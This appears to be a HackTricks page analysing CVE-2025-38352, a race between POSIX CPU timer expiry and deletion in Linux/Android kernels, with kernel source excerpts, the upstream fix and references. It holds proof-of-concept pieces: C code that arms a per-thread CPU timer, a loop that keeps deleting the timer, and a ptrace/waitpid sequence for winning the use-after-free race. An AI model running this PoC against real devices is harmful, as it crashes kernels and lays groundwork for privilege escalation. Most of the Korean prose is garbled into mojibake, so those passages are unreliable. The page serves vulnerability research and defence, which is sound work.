POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ Linux/Android POSIX CPU timers์ TOCTOU race condition์ ๋ฌธ์ํํฉ๋๋ค. ์ด๋ ํ์ด๋จธ ์ํ๋ฅผ ์์์ํค๊ณ ์ปค๋์ ํฌ๋์์ํฌ ์ ์์ผ๋ฉฐ, ์ผ๋ถ ์ํฉ์์๋ privilege escalation์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
- ์ํฅ ๋ฐ๋ ๊ตฌ์ฑ์์: kernel/time/posix-cpu-timers.c
- ๊ธฐ๋ณธ ์๋ฆฌ: expiry vs deletion race under task exit
- ๊ตฌ์ฑ ๋ฏผ๊ฐ: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
๊ฐ๋จํ ๋ด๋ถ ์์ฝ (exploitation์ ๊ด๋ จ๋จ)
- ํ์ด๋จธ ๊ณ์ ๊ด๋ฆฌ๋ cpu_clock_sample()๋ฅผ ํตํด ์ธ ๊ฐ์ง CPU ํด๋ญ์ผ๋ก ์ํ๋๋ค:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer ์์ฑ์ ํ์ด๋จธ๋ฅผ task/pid์ ์ฐ๊ฒฐํ๊ณ timerqueue ๋ ธ๋๋ฅผ ์ด๊ธฐํํ๋ค:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming์ per-base timerqueue์ ์ฝ์ ํ๋ฉฐ next-expiry cache๋ฅผ ์ ๋ฐ์ดํธํ ์ ์์ต๋๋ค:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- ๋น ๋ฅธ ๊ฒฝ๋ก๋ ์บ์๋ ๋ง๋ฃ๊ฐ ๋ฐ๋ํ ๊ฐ๋ฅ์ฑ์ ๋ํ๋ด์ง ์๋ ํ ๋น์ฉ์ด ๋ง์ด ๋๋ ์ฒ๋ฆฌ๋ฅผ ํผํฉ๋๋ค:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Expiration์ ๋ง๋ฃ๋ ํ์ด๋จธ๋ฅผ ์์งํ๊ณ , ์ด๋ฅผ firing ์ํ๋ก ํ์ํ๋ฉฐ, ํ์์ ์ ๊ฑฐํฉ๋๋ค; ์ค์ ์ ๋ฌ์ ์ฐ๊ธฐ๋ฉ๋๋ค:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
๋ ๊ฐ์ง ๋ง๋ฃ ์ฒ๋ฆฌ ๋ชจ๋
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: ๋ง๋ฃ๋ ๋์ task์ task_work๋ฅผ ํตํด ์ฐ๊ธฐ๋จ
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: ๋ง๋ฃ๋ IRQ ์ปจํ ์คํธ์์ ์ง์ ์ฒ๋ฆฌ๋จ
Task_work์ IRQ ๋ง๋ฃ ๊ฒฝ๋ก
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```IRQ-context ๊ฒฝ๋ก์์๋ firing list๊ฐ sighand ์ธ๋ถ์์ ์ฒ๋ฆฌ๋ฉ๋๋ค.
IRQ-context ์ ๋ฌ ๋ฃจํ
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```๊ทผ๋ณธ ์์ธ: IRQ-time ๋ง๋ฃ์ task ์ข ๋ฃ ์ค ๋์ ์ญ์ ๊ฐ์ TOCTOU Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- ๋์ task๋ ์ข ๋ฃ ์ค์ด์ง๋ง ์์ ํ ํ์(reaped)๋์ง ์์
- ๋ค๋ฅธ ์ค๋ ๋๊ฐ ๋์ผํ ํ์ด๋จธ์ ๋ํด posix_cpu_timer_del()์ ๋์์ ํธ์ถํจ
Sequence
- update_process_times()๊ฐ ์ข ๋ฃ ์ค์ธ task์ ๋ํด IRQ ์ปจํ ์คํธ์์ run_posix_cpu_timers()๋ฅผ ํธ๋ฆฌ๊ฑฐํจ.
- collect_timerqueue()๋ ctmr->firing = 1๋ก ์ค์ ํ๊ณ ํ์ด๋จธ๋ฅผ ์์ firing ๋ฆฌ์คํธ๋ก ์ฎ๊น.
- handle_posix_cpu_timers()๋ unlock_task_sighand()๋ฅผ ํตํด sighand๋ฅผ ํด์ ํ์ฌ ๋ฝ ์ธ๋ถ์์ ํ์ด๋จธ๋ฅผ ์ ๋ฌํจ.
- unlock ์งํ, ์ข ๋ฃ ์ค์ธ task๊ฐ reaped๋ ์ ์๊ณ ; ํ์ ์ค๋ ๋๊ฐ posix_cpu_timer_del()์ ์คํํจ.
- ์ด ์ฐฝ์์ posix_cpu_timer_del()์ cpu_timer_task_rcu()/lock_task_sighand()๋ฅผ ํตํด state๋ฅผ ํ๋ํ์ง ๋ชปํ ์ ์์ผ๋ฉฐ, ๋ฐ๋ผ์ timer->it.cpu.firing์ ํ์ธํ๋ ์ผ๋ฐ์ ์ธ in-flight ๊ฐ๋๋ฅผ ๊ฑด๋๋ธ ์ ์๋ค. ์ญ์ ๊ฐ firing์ด ์๋ ๊ฒ์ฒ๋ผ ์งํ๋์ด ๋ง๋ฃ ์ฒ๋ฆฌ ์ค์ ์ํ๊ฐ ์์๋๊ณ , ๊ทธ ๊ฒฐ๊ณผ ํฌ๋์/UB๋ก ์ด์ด์ง ์ ์๋ค.
release_task()์ timer_delete()๊ฐ firing ํ์ด๋จธ๋ฅผ ํด์ ํ๋ ๋ฐฉ๋ฒ
handle_posix_cpu_timers()๊ฐ task ๋ฆฌ์คํธ์์ ํ์ด๋จธ๋ฅผ ์ ๊ฑฐํ ์ดํ์๋, ptraced zombie๋ ์ฌ์ ํ reaped๋ ์ ์๋ค. waitpid() ์คํ์ release_task() โ __exit_signal()๋ฅผ ๊ตฌ๋ํ๋ฉฐ, ์ด ๊ณผ์ ์์ sighand์ ์ ํธ ํ๋ฅผ ํด์ฒดํ๋๋ฐ ๋ค๋ฅธ CPU๋ ์ฌ์ ํ ํ์ด๋จธ ๊ฐ์ฒด์ ๋ํ ํฌ์ธํฐ๋ฅผ ๋ณด์ ํ๊ณ ์๋ค:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
sighand๊ฐ ๋ถ๋ฆฌ๋ ์ํ์์๋ timer_delete()๋ ์ฌ์ ํ ์ฑ๊ณต์ ๋ฐํํ๋๋ฐ posix_cpu_timer_del()์ด ๋ฝ ํ๋์ ์คํจํ ๋ ret = 0์ผ๋ก ๋จ๊ฒจ๋์ด syscall์ด RCU๋ฅผ ํตํด ๊ฐ์ฒด๋ฅผ ํด์ ํ๋๋ก ์งํ๋๊ธฐ ๋๋ฌธ์ด๋ค:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.
Steering reaping with ptrace + waitpid
์ข๋น๊ฐ ์๋์ผ๋ก ์๊ฑฐ๋์ง ์๊ณ ๋จ์ ์๋๋ก ํ๋ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ non-leader worker thread๋ฅผ ptraceํ๋ ๊ฒ์ด๋ค. exit_notify()๋ ๋จผ์ exit_state = EXIT_ZOMBIE๋ฅผ ์ค์ ํ๊ณ autoreap๊ฐ true์ผ ๋๋ง EXIT_DEAD๋ก ์ ํ๋๋ค. ptraced๋ ์ค๋ ๋์ ๊ฒฝ์ฐ SIGCHLD๊ฐ ๋ฌด์๋์ง ์๋ ํ autoreap = do_notify_parent()๋ false๋ก ์ ์ง๋๋ฏ๋ก release_task()๋ ๋ถ๋ชจ๊ฐ ๋ช
์์ ์ผ๋ก waitpid()๋ฅผ ํธ์ถํ ๋๋ง ์คํ๋๋ค:
- ํธ๋ ์ด์ ๋ด๋ถ์์ pthread_create()๋ฅผ ์ฌ์ฉํด ํผํด์๊ฐ thread-group leader๊ฐ ์๋๊ฒ ํ๋ค (wait_task_zombie()๋ ptraced non-leaders๋ฅผ ์ฒ๋ฆฌํ๋ค).
- ๋ถ๋ชจ๋
ptrace(PTRACE_ATTACH, tid)๋ฅผ ํธ์ถํ๊ณ ์ดํwaitpid(tid, __WALL)๋ฅผ ํธ์ถํ์ฌ do_wait_pid() โ wait_task_zombie() โ release_task() ํ๋ฆ์ ์ ๋ํ๋ค. - ํ์ดํ๋ ๊ณต์ ๋ฉ๋ชจ๋ฆฌ๋ก ์ ํํ TID๋ฅผ ๋ถ๋ชจ์๊ฒ ์ ๋ฌํด ์ฌ๋ฐ๋ฅธ ์์ปค๋ฅผ ํ์ ์์๋ง ์๊ฑฐํ๊ฒ ํ๋ค.
์ด๋ฐ ์ฐ์ถ์ handle_posix_cpu_timers()๊ฐ ์ฌ์ ํ tsk->sighand๋ฅผ ์ฐธ์กฐํ ์ ์๋ ์ฐฝ์ ๋ณด์ฅํ๋ฉฐ, ์ดํ์ waitpid()๊ฐ ์ด๋ฅผ ํด์ ํด timer_delete()๊ฐ ๋์ผํ k_itimer ๊ฐ์ฒด๋ฅผ ํ์ํ ์ ์๊ฒ ํ๋ค.
Why TASK_WORK mode is safe by design
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y์ธ ๊ฒฝ์ฐ ๋ง๋ฃ ์ฒ๋ฆฌ๊ฐ task_work๋ก ์ฐ๊ธฐ๋๋ค; exit_task_work๋ exit_notify๋ณด๋ค ๋จผ์ ์คํ๋๋ฏ๋ก IRQ ์๊ฐ์ reaping๊ณผ ๊ฒน์น์ง ์๋๋ค.
- ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ task๊ฐ ์ด๋ฏธ ์ข ๋ฃ ์ค์ด๋ฉด task_work_add()๋ ์คํจํ๋ค; exit_state๋ฅผ ๊ธฐ์ค์ผ๋ก ์ ์ดํ๋ฉด ๋ ๋ชจ๋๊ฐ ์ผ๊ด๋๊ฒ ๋์ํ๋ค.
Fix (Android common kernel) and rationale
- ํ์ฌ task๊ฐ ์ข ๋ฃ ์ค์ด๋ฉด ์กฐ๊ธฐ ๋ฐํ์ ์ถ๊ฐํด ๋ชจ๋ ์ฒ๋ฆฌ๋ฅผ ์ฐจ๋จํ๋ค:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- ์ด๊ฒ์ ์ข ๋ฃ ์ค์ธ ํ์คํฌ์ ๋ํด handle_posix_cpu_timers()์ ์ง์ ํ๋ ๊ฒ์ ๋ฐฉ์งํ์ฌ posix_cpu_timer_del()์ด it.cpu.firing์ ๋์น๊ณ ๋ง๋ฃ ์ฒ๋ฆฌ์ ๊ฒฝ์(race)ํ ์ ์๋ ์๊ฐ ์ฐฝ์ ์ ๊ฑฐํฉ๋๋ค.
Impact
- ๋์ ๋ง๋ฃ/์ญ์ (expiry/deletion) ๋์ ํ์ด๋จธ ๊ตฌ์กฐ์ฒด์ ์ปค๋ ๋ฉ๋ชจ๋ฆฌ ์์์ ์ฆ์ ํฌ๋์(DoS)๋ฅผ ์ผ์ผํฌ ์ ์์ผ๋ฉฐ, ์์์ ์ปค๋ ์ํ ์กฐ์ ๊ธฐํ๋ฅผ ํตํด privilege escalation์ ์ํ ๊ฐ๋ ฅํ primitive๊ฐ ๋ฉ๋๋ค.
Triggering the bug (safe, reproducible conditions) Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch
kernel/time/Kconfigto expose a manual toggle:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
์ด๋ ๋ถ์ ๋น๋์ฉ์ผ๋ก Android ๊ณต๊ธ์ ์ฒด๊ฐ ํ ๊ฒ๊ณผ ์ ์ฌํฉ๋๋ค; upstream x86_64 and arm64๋ HAVE_POSIX_CPU_TIMERS_TASK_WORK=y๋ฅผ ๊ฐ์ ์ค์ ํ๋ฏ๋ก, ์ทจ์ฝํ IRQ ๊ฒฝ๋ก๋ ํด๋น ์ต์ ์ด ์ปดํ์ผ ์์๋ 32๋นํธ Android ์ปค๋์์ ์ฃผ๋ก ์กด์ฌํฉ๋๋ค.
- ๋ฉํฐ์ฝ์ด VM์์ ์คํํ์ธ์(์: QEMU
-smp cores=4) โ ๋ถ๋ชจ, ์์ ๋ฉ์ธ ๋ฐ ์์ปค ์ค๋ ๋๊ฐ ์ ์ฉ CPU์ ๊ณ ์ ๋ ์ ์๋๋ก.
๋ฐํ์ ์ ๋ต
- ์ข ๋ฃ ์ง์ ์ ์ค๋ ๋๋ฅผ ๋ชฉํ๋ก ์ผ์ CPU ํ์ด๋จธ๋ฅผ ์ฐ๊ฒฐํฉ๋๋ค(์ค๋ ๋๋ณ ๋๋ ํ๋ก์ธ์ค ์ ์ฒด ์๊ณ):
- ์ค๋ ๋๋ณ์ธ ๊ฒฝ์ฐ: timer_create(CLOCK_THREAD_CPUTIME_ID, โฆ)
- ํ๋ก์ธ์ค ์ ์ฒด์ธ ๊ฒฝ์ฐ: timer_create(CLOCK_PROCESS_CPUTIME_ID, โฆ)
- IRQ ๊ฒฝ๋ก ์ง์ ์ ์ต๋ํํ๊ธฐ ์ํด ์ด๊ธฐ ๋ง๋ฃ ์๊ฐ์ ๋งค์ฐ ์งง๊ฒ ํ๊ณ ๋ฐ๋ณต ๊ฐ๊ฒฉ์ ์๊ฒ ์ค์ ํ์ธ์:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- ํ์ ์ค๋ ๋์์ ๋์ ์ค๋ ๋๊ฐ ์ข ๋ฃ๋๋ ๋์ ๋์ผํ ํ์ด๋จธ๋ฅผ ๋์์ ์ญ์ :
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- ๋ ์ด์ค ์ฆํญ ์์ธ: ๋์ ์ค์ผ์ค๋ฌ ํฑ ์๋, CPU ๋ถํ, ๋ฐ๋ณต์ ์ธ ์ค๋ ๋ ์ข ๋ฃ/์ฌ์์ฑ ์ฌ์ดํด. ์ด ์ถฉ๋์ ์ผ๋ฐ์ ์ผ๋ก unlock_task_sighand() ์งํ task lookup/locking์ด ์คํจํ์ฌ posix_cpu_timer_del()์ด ํ์ด๋จธ ๋ฐ๋์ ์ธ์งํ์ง ๋ชปํ ๋ ๋ฐ์ํ๋ค.
Practical PoC orchestration
Thread & IPC choreography
์ ๋ขฐํ ์ ์๋ ์ฌํ ์ฝ๋๋ ptracing parent์ ์ทจ์ฝํ ์์ปค ์ค๋ ๋๋ฅผ ์์ฑํ๋ child๋ก ํฌํฌ๋๋ค. ๋ ๊ฐ์ ํ์ดํ(c2p, p2c)๊ฐ ์์ปค์ TID๋ฅผ ์ ๋ฌํ๊ณ ๊ฐ ๋จ๊ณ๋ฅผ ์ ์ดํ๋ฉฐ, pthread_barrier_t๋ ๋ถ๋ชจ๊ฐ attachํ ๋๊น์ง ์์ปค๊ฐ ํ์ด๋จธ๋ฅผ ์ค์ ํ๋ ๊ฒ์ ๋ง๋๋ค. ๊ฐ ํ๋ก์ธ์ค ๋๋ ์ค๋ ๋๋ sched_setaffinity()๋ก ๊ณ ์ (์: parent on CPU1, child main on CPU0, worker on CPU2)๋์ด ์ค์ผ์ค๋ฌ ๋
ธ์ด์ฆ๋ฅผ ์ต์ํํ๊ณ ๋ ์ด์ค ์ฌํ์ฑ์ ์ ์งํ๋ค.
Timer calibration with CLOCK_THREAD_CPUTIME_ID
์์ปค๋ ์์ ์ CPU ์ฌ์ฉ ์๊ฐ๋ง์ด ๋ฐ๋๋ผ์ธ์ ์งํ์ํค๋๋ก ์ค๋ ๋๋ณ CPU ํ์ด๋จธ๋ฅผ ์ค์ ํ๋ค. ์กฐ์ ๊ฐ๋ฅํ wait_time(๊ธฐ๋ณธ๊ฐ โ250โฏยตs์ CPU ์๊ฐ)๊ณผ ์ ํ๋ ๋ฐ์ ๋ฃจํ๋ ํ์ด๋จธ๊ฐ ๊ฑฐ์ ๋ฐ๋ํ๋ ค๋ ์๊ฐ์ exit_notify()๊ฐ EXIT_ZOMBIE๋ฅผ ์ค์ ํ๋๋ก ๋ณด์ฅํ๋ค:
์ต์ ์ค๋ ๋๋ณ CPU ํ์ด๋จธ ์ค์ผ๋ ํค
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(โtimer firedโ); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### ๊ฒฝ์ ํ์๋ผ์ธ
1. ์์์ด `c2p`๋ก ๋ถ๋ชจ์๊ฒ worker TID๋ฅผ ์๋ ค์ค ๋ค ๋ฐ๋ฆฌ์ด์์ ๋ธ๋กํ๋ค.
2. ๋ถ๋ชจ๊ฐ `PTRACE_ATTACH`๋ฅผ ์ํํ๊ณ `waitpid(__WALL)`์์ ๋๊ธฐํ ๋ค์, `PTRACE_CONT`๋ก ์์ปค๋ฅผ ์คํ์์ผ ์ข
๋ฃ์ํจ๋ค.
3. ํด๋ฆฌ์คํฑ(๋๋ ์๋ ์กฐ์์ ์
๋ ฅ)์ด ํ์ด๋จธ๊ฐ IRQ ์ธก์ `firing` ๋ฆฌ์คํธ๋ก ์์ง๋์๋ค๊ณ ํ๋จํ๋ฉด, ๋ถ๋ชจ๋ release_task()๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ณ `tsk->sighand`๋ฅผ ํด์ ํ๊ธฐ ์ํด `waitpid(tid, __WALL)`๋ฅผ ๋ค์ ์คํํ๋ค.
4. ๋ถ๋ชจ๋ `p2c`๋ก ์์์๊ฒ ์ ํธ๋ฅผ ๋ณด๋ด ์์์ main์ด `timer_delete(timer)`๋ฅผ ํธ์ถํ๊ณ ํ์ด๋จธ์ RCU ์ฝ๋ฐฑ์ด ์๋ฃ๋ ๋๊น์ง `wait_for_rcu()` ๊ฐ์ ํฌํผ๋ฅผ ์ฆ์ ์คํํ๋๋ก ํ๋ค.
5. IRQ ์ปจํ
์คํธ๋ ๊ฒฐ๊ตญ `handle_posix_cpu_timers()`๋ฅผ ์ฌ๊ฐํ๊ณ ํด์ ๋ `struct k_itimer`๋ฅผ ์ญ์ฐธ์กฐํ์ฌ KASAN ๋๋ WARN_ON()์ ๋ฐ์์ํจ๋ค.
#### ์ ํ์ ์ปค๋ ๊ณ์ธก
์ฐ๊ตฌ ํ๊ฒฝ์์๋ `tsk->comm == "SLOWME"`์ผ ๋ handle_posix_cpu_timers() ๋ด๋ถ์ ๋๋ฒ๊ทธ ์ ์ฉ `mdelay(500)`๋ฅผ ์ฃผ์
ํ๋ฉด ์๋์ฐ๊ฐ ๋์ด์ ธ ์์ ์ฐ์ถ์ด ๊ฑฐ์ ํญ์ ๋ ์ด์ค์์ ์ด๊ธด๋ค. ๋์ผํ PoC๋ ์ค๋ ๋ ์ด๋ฆ์ (`prctl(PR_SET_NAME, ...)`) ๋ฐ๊ฟ ์ปค๋ ๋ก๊ทธ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ก ์์ํ ์์ปค๊ฐ ์๊ฑฐ๋๋์ง ํ์ธํ ์ ์๊ฒ ํ๋ค.
### ์ต์คํ๋ก์ ์ค ๊ณ์ธก ๋จ์
- unlock_task_sighand()/posix_cpu_timer_del() ์ฃผ๋ณ์ tracepoints/WARN_ONCE๋ฅผ ์ถ๊ฐํ์ฌ `it.cpu.firing==1`์ด cpu_timer_task_rcu()/lock_task_sighand() ์คํจ์ ๋์์ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๋ฅผ ํฌ์ฐฉํ๊ณ , ํผํด์(victim)๊ฐ ์ข
๋ฃ๋ ๋ timerqueue ์ผ๊ด์ฑ์ ๋ชจ๋ํฐ๋งํ๋ค.
- KASAN์ ๋ณดํต posix_timer_queue_signal() ๋ด๋ถ์์ `slab-use-after-free`๋ฅผ ๋ณด๊ณ ํ๋ ๋ฐ๋ฉด, KASAN์ด ์๋ ์ปค๋์์๋ ๋ ์ด์ค๊ฐ ์ฑ์ฌ๋์์ ๋ send_sigqueue()์์ WARN_ON_ONCE()๋ฅผ ๋ก๊ทธํ์ฌ ๋น ๋ฅธ ์ฑ๊ณต ์งํ๋ฅผ ์ ๊ณตํ๋ค.
๊ฐ์ฌ ํซ์คํ(๋ฆฌ๋ทฐ์ด์ฉ)
- update_process_times() โ run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() ์ ํ (TASK_WORK vs IRQ ๊ฒฝ๋ก)
- collect_timerqueue(): ctmr->firing๋ฅผ ์ค์ ํ๊ณ ๋
ธ๋๋ฅผ ์ด๋ํจ
- handle_posix_cpu_timers(): firing ๋ฃจํ ์ ์ sighand๋ฅผ ํด์ ํจ
- posix_cpu_timer_del(): it.cpu.firing์ ์์กดํ์ฌ ์งํ ์ค์ธ ๋ง๋ฃ๋ฅผ ๊ฐ์งํจ; ์ด ๊ฒ์ฌ๋ exit/reap ๋์ค task ์กฐํ/์ ๊ธ์ ์คํจํ๋ฉด ๊ฑด๋๋ฐ์ด์ง๋ค
์ต์คํ๋ก์ ์ฐ๊ตฌ ์ฐธ๊ณ ์ฌํญ
๊ณต๊ฐ๋ ๋์์ ์ ๋ขฐํ ์ ์๋ ์ปค๋ ํฌ๋์ ํ๋ฆฌ๋ฏธํฐ๋ธ์ด๋ค; ์ด๋ฅผ ๊ถํ ์์น์ผ๋ก ์ ํํ๋ ค๋ฉด ์ผ๋ฐ์ ์ผ๋ก ์ด ์์ฝ์ ๋ฒ์๋ฅผ ๋ฒ์ด๋๋ ์ถ๊ฐ์ ์ธ ์ ์ด ๊ฐ๋ฅํ ๊ฒน์นจ(๊ฐ์ฒด ์๋ช
์ด๋ write-what-where ์ํฅ ๋ฑ)์ด ํ์ํ๋ค. ๋ชจ๋ PoC๋ ์์คํ
์ ๋ถ์์ ํ๊ฒ ๋ง๋ค ์ ์์ผ๋ฏ๋ก ์๋ฎฌ๋ ์ดํฐ/VM์์๋ง ์คํํ๋ผ.
## References
- [Race Against Time in the Kernelโs Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin โ September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5โฆ](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 โ In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
